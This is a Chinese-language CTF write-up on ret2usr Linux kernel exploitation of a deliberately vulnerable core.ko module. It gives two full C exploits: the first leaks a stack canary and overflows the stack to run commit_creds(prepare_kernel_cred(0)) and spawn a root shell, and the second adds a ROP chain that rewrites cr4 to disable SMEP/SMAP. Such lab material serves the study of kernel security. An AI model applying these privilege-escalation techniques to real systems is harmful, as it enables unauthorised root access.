目录

Kernel Pwn ret2usr

在不开启 SMEP, SMAP, KPTI 的情况下, 内核态是可以执行用户空间的代码的. 于是我们只需要在内核态中控制程序流, 使其跳转到用户空间, 执行我们写好的代码, 如 commit_creds(prepare_kernel_cred(NULL)) 便可提取.

不过, 最终的目的是起一个 shell, 但是在内核态无法完成这件事, 所以还需要返回用户态.

iretq 是 x64 的中断返回指令. 当发生中断 (系统调用除外) 陷入内核时, 会发生这些事:

  1. 切换到内核栈. kernel 在 任务状态段Task State Segment (TSS) 这个数据结构上保存了内核栈段起始地址 (ss0) 和 内核栈顶指针 (rsp0).
  2. 接着在内核栈上压入用户空间的 ss, rsp, rflags, cs, rip.
  3. 之后将用户态的通用寄存器值保存起来, 通用寄存器赋值为 0, 保存用户态 gs 寄存器的值并设置内核的 gs .gs 寄存器在内核态时指向一个进程在内核中相关的数据结构, 其中就包含有 kernel stack canary.

返回用户态时, 发生的事情就反了过来:

  1. 恢复通用寄存器的值
  2. 使用 swapgs 指令恢复用户态 gs 的值
  3. 使用 iretq 指令, 内核将栈上用户态 rip, cs, rflags, rsp, ss 恢复

所以, 我们只需要 swapgsiretq, 就能够回到用户态. 寄存器的值是否恢复对我们的利用来说并不重要, 不恢复也是可以的.

根据 iretq 的功能, 需要伪造内核栈在执行这条指令时如下:

u u u u s s r s s e e f e e r r l r r a g s s s c i s p s p r s p
注意
系统调用陷入内核的时候采取不一样策略, syscall 指令并不会保存用户态 rsp, 而是陷入内核后由内核态中的代码来保存. sysretq 指令与其相适应, 用它来返回用户态并不会修改 rsp. 将 rsp 设置为用户态的工作同样由内核代码在 sysretq 之前完成. 所以 sysretqiretq 相比没那么方便, 所以不妨就使用 iretq.

查看 qemu 启动脚本:

shell

qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

可以看到开启了 kaslr. 内存分配的是 64M, 跑不起来, 需要调大一点.

首先解压 core.cpio, 查看 init:

shell

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

可以看到, 把 /proc/kallsyms copy 到了 /tmp/kallsyms, 然后禁用了查看 /proc/kallsyms 和 kernel 调试信息 dmesg 命令. 接着加载了一个 module core.ko, 设置关机时间 120s, 设置 uid, gid, 启动 /bin/sh.

注意

kernel 的符号地址在 /proc/kallsyms 中有保存, root 权限可以查看. 在本地调试时可以用 root 获取 commit_credsprepare_kernel_cred 的地址.

有些题有 KASLR, 可以用这个方法来获取没有偏移时的地址, 之后获取到开了 KASLR 的某个符号的地址, 就可以计算偏移了.

虽然禁用了查看 /proc/kallsyms, 但是它已经被拷贝到 /tmp/kallsyms 了, 普通用户也可以直接读取. 所以这里开启的 kaslr 和没有一样.

可以把关机时间给注释掉, 重新打包一下. 题目和贴心给了打包的脚本 gen_cpio.sh, 直接用就行.

逆向一下 core.ko. 有 canary. 只注册了 ioctl, write, release. ioctl 里写了一个 core_read, core_copy_func 函数, 并且支持修改一个全局变量 off. init_module 函数创建了一个进程节点文件 /proc/core.

存在漏洞的地方是 off 可以用 ioctl 修改, 然后 core_read 可以泄漏 canary. core_copy_func 中存在栈溢出.

最最开始, 由于 iretq 需要 ss, rsp, rflags, cs, 可以通过嵌入汇编的方式给保存下来. 栈顶其实非常随意, 不一定要最后陷入内核时的 rsp, 只要能用就行. 不过某些函数会需要栈对齐, 所以返回内核态后的 rsp 最好也对齐.

c

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    user_sp &= ~0xf;
    success("Status has been saved.\n");
    printvar(debug, "cs", user_cs);
    printvar(debug, "ss", user_ss);
    printvar(debug, "rsp", user_sp);
    printvar(debug, "rflags", user_rflags);
}

读取 commit_credsperpare_kernel_cred 的地址, 并通过减去没有 kaslr 时的地址计算出偏移.

c

void leakAddr() {
    FILE *kallsyms = fopen("/tmp/kallsyms", "r");
    while (!commit_creds || !prepare_kernel_cred) {
        size_t addr = 0;
        char t[2] = {0}, name[128] = {0};
        fscanf(kallsyms, "%lx%s%s", &addr, t, name);
        if (!strcmp(name, "commit_creds")) {
            commit_creds = addr;
            off = commit_creds - 0xffffffff8109c8e0;
            printvar(success, "leak commit_creds", addr);
            printvar(debug, "offset", off);
        }
        if (!strcmp(name, "prepare_kernel_cred")) {
            prepare_kernel_cred = addr;
            printvar(success, "leak prepare_kernel_cred", addr);
        }
    }
    fclose(kallsyms);
}

接着利用 ioctl 修改全局变量 off, core_read 泄漏 canary:

c

void leakCanary() {
    size_t *buf = calloc(0x1000, 1);
    ioctl(fd, 0x6677889C, 0x40);
    ioctl(fd, 0x6677889B, buf);

    canary = buf[0];
    printvar(success, "leak canary", canary);

    free(buf);
}

使用栈溢出来覆盖返回地址, 写上用户空间的函数地址:

c

void pwn() {
    fd = open("/proc/core", O_RDWR);

    leakAddr();
    leakCanary();

    size_t *rop = calloc(0x800, 1);

    int cur = 8;
    rop[cur++] = canary;
    rop[cur++] = canary;
    rop[cur++] = (size_t) ret2usr;

    write(fd, rop, 0x800);
    free(rop);

    ioctl(fd, 0x6677889A, 0xffffffffffff0000 | (0x100));

    close(fd);
}

ret2usr 函数中进行提权操作并返回用户态:

c

void ret2usr() {
    __asm__(
        "mov rdi, 0;"
        "mov rax, prepare_kernel_cred;"
        "call rax;"
        "mov rdi, rax;"
        "mov rax, commit_creds;"
        "call rax;"
        "swapgs;"
        "mov rax, user_ss;"
        "push rax;"
        "mov rax, user_sp;"
        "push rax;"
        "mov rax, user_rflags;"
        "push rax;"
        "mov rax, user_cs;"
        "push rax;"
        "mov rax, getRootShell;"
        "push getRootShell;"
        "iretq;"
    );
}

使用 iretq 返回到 getRootShell 函数起 shell:

c

void getRootShell() {
    success("Backing from the kernelspace.\n");
    if(getuid()) {
        fail("Failed to get the root!\n");
        exit(-1);
    }
    success("Successful to get the root. Execve root shell now...\n");
    system("/bin/sh");
    exit(0);// to exit the process normally instead of segmentation fault
}

完整 exp:

c

// gcc exp.c -static -masm=intel -g -o exp
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

void success(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[32m\033[1m[+] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void fail(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[31m\033[1m[x] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void debug(const char *msg) {
#ifdef DEBUG
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[34m\033[1m[*] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
#endif
}

void printvar(void handle(const char *), char *hint, size_t var) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "%s: 0x%lx\n", hint, var);
    handle(buf);
    free(buf);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    user_sp &= ~0xf;
    success("Status has been saved.\n");
    printvar(debug, "cs", user_cs);
    printvar(debug, "ss", user_ss);
    printvar(debug, "rsp", user_sp);
    printvar(debug, "rflags", user_rflags);
}

int fd;

size_t commit_creds, prepare_kernel_cred;
void leakAddr() {
    FILE *kallsyms = fopen("/tmp/kallsyms", "r");
    size_t addr = 0;
    char t[2] = {0}, name[128] = {0};
    while (fscanf(kallsyms, "%lx%s%s", &addr, t, name) != EOF) {
        if (!strcmp(name, "commit_creds")) {
            commit_creds = addr;
            printvar(success, "leak commit_creds", addr);
        }
        if (!strcmp(name, "prepare_kernel_cred")) {
            prepare_kernel_cred = addr;
            printvar(success, "leak prepare_kernel_cred", addr);
        }
    }
    fclose(kallsyms);
}

size_t canary;
void leakCanary() {
    size_t *buf = calloc(0x1000, 1);
    ioctl(fd, 0x6677889C, 0x40);
    ioctl(fd, 0x6677889B, buf);

    canary = buf[0];
    printvar(success, "leak canary", canary);

    free(buf);
}

void getRootShell() {
    success("Backing from the kernelspace.\n");
    if(getuid()) {
        fail("Failed to get the root!\n");
        exit(-1);
    }
    success("Successful to get the root. Execve root shell now...\n");
    system("/bin/sh");
    exit(0);// to exit the process normally instead of segmentation fault
}

void ret2usr() {
    __asm__(
        "mov rdi, 0;"
        "mov rax, prepare_kernel_cred;"
        "call rax;"
        "mov rdi, rax;"
        "mov rax, commit_creds;"
        "call rax;"
        "swapgs;"
        "mov rax, user_ss;"
        "push rax;"
        "mov rax, user_sp;"
        "push rax;"
        "mov rax, user_rflags;"
        "push rax;"
        "mov rax, user_cs;"
        "push rax;"
        "mov rax, getRootShell;"
        "push getRootShell;"
        "iretq;"
    );
}

void pwn() {
    fd = open("/proc/core", O_RDWR);

    leakAddr();
    leakCanary();

    size_t *rop = calloc(0x800, 1);

    int cur = 8;
    rop[cur++] = canary;
    rop[cur++] = canary;
    rop[cur++] = (size_t) ret2usr;

    write(fd, rop, 0x800);
    free(rop);

    ioctl(fd, 0x6677889A, 0xffffffffffff0000 | (0x100));

    close(fd);
}

int main() {
    saveStatus();
    pwn();
    return 0;
}

在启动脚本中加入 -cpu kvm64,+smep,+smap 来开启 smep 和 smap. (还要关一下 kpti, 在 -append 中加上 nopti) 然后执行上一份 exp, 内核直接 panic 了.

kernel panic due to smep
kernel panic due to smep

可以看到, panic 的原因是 smep, rip 的值在用户空间, cr4 的值是 0x3006f0. 所以我们需要先关闭 smep 和 smap, 才可以 ret2usr.

不过, 这一操作需要在内核态完成, 于是要找到内核态控制 cr4 的 gadget, 比如 0xffffffff810478c7: mov cr4, rdi; push rdx; popfq; ret; 再找一个 pop rdi; ret 的 gadget 便可以写 cr4 了.

这里还涉及到 KASLR. 先将 KASLR 关闭, 获得函数的地址并记录. 然后再开启 KASLR, 获得函数地址, 相减便是偏移, 利用偏移找到 gadget 的真实地址.

exp:

c

// gcc exp.c -static -masm=intel -g -o exp
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

void success(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[32m\033[1m[+] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void fail(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[31m\033[1m[x] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void debug(const char *msg) {
#ifdef DEBUG
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[34m\033[1m[*] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
#endif
}

void printvar(void handle(const char *), char *hint, size_t var) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "%s: 0x%lx\n", hint, var);
    handle(buf);
    free(buf);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    user_sp &= ~0xf;
    success("Status has been saved.\n");
    printvar(debug, "cs", user_cs);
    printvar(debug, "ss", user_ss);
    printvar(debug, "rsp", user_sp);
    printvar(debug, "rflags", user_rflags);
}

int fd;

size_t commit_creds, prepare_kernel_cred, off;
void leakAddr() {
    FILE *kallsyms = fopen("/tmp/kallsyms", "r");
    size_t addr = 0;
    char t[2] = {0}, name[128] = {0};
    while (fscanf(kallsyms, "%lx%s%s", &addr, t, name) != EOF) {
        if (!strcmp(name, "commit_creds")) {
            commit_creds = addr;
            off = commit_creds - 0xffffffff8109c8e0;
            printvar(success, "leak commit_creds", addr);
            printvar(debug, "offset", off);
        }
        if (!strcmp(name, "prepare_kernel_cred")) {
            prepare_kernel_cred = addr;
            printvar(success, "leak prepare_kernel_cred", addr);
        }
    }
    fclose(kallsyms);
}

size_t canary;
void leakCanary() {
    size_t *buf = calloc(0x1000, 1);
    ioctl(fd, 0x6677889C, 0x40);
    ioctl(fd, 0x6677889B, buf);

    canary = buf[0];
    printvar(success, "leak canary", canary);

    free(buf);
}

void getRootShell() {
    success("Backing from the kernelspace.\n");
    if(getuid()) {
        fail("Failed to get the root!\n");
        exit(-1);
    }
    success("Successful to get the root. Execve root shell now...\n");
    system("/bin/sh");
    exit(0);// to exit the process normally instead of segmentation fault
}

void ret2usr() {
    __asm__(
        "mov rdi, 0;"
        "mov rax, prepare_kernel_cred;"
        "call rax;"
        "mov rdi, rax;"
        "mov rax, commit_creds;"
        "call rax;"
        "swapgs;"
        "mov rax, user_ss;"
        "push rax;"
        "mov rax, user_sp;"
        "push rax;"
        "mov rax, user_rflags;"
        "push rax;"
        "mov rax, user_cs;"
        "push rax;"
        "mov rax, getRootShell;"
        "push getRootShell;"
        "iretq;"
    );
}

void pwn() {
    fd = open("/proc/core", O_RDWR);

    leakAddr();
    leakCanary();

    size_t *rop = calloc(0x800, 1);
    size_t pop_rdi_ret     = off + 0xffffffff81000b2f;
    size_t mov_cr4_rdi_ret = off + 0xffffffff81075014;

    int cur = 8;
    rop[cur++] = canary;
    rop[cur++] = canary;
    rop[cur++] = pop_rdi_ret;
    rop[cur++] = 0x6f0;
    rop[cur++] = mov_cr4_rdi_ret;
    rop[cur++] = (size_t) ret2usr;

    write(fd, rop, 0x800);
    free(rop);

    ioctl(fd, 0x6677889A, 0xffffffffffff0000 | (0x100));

    close(fd);
}

int main() {
    saveStatus();
    pwn();
    return 0;
}
技巧
高版本内核貌似有个 native_write_cr4 的函数可以写 cr4 的值. 这题没有.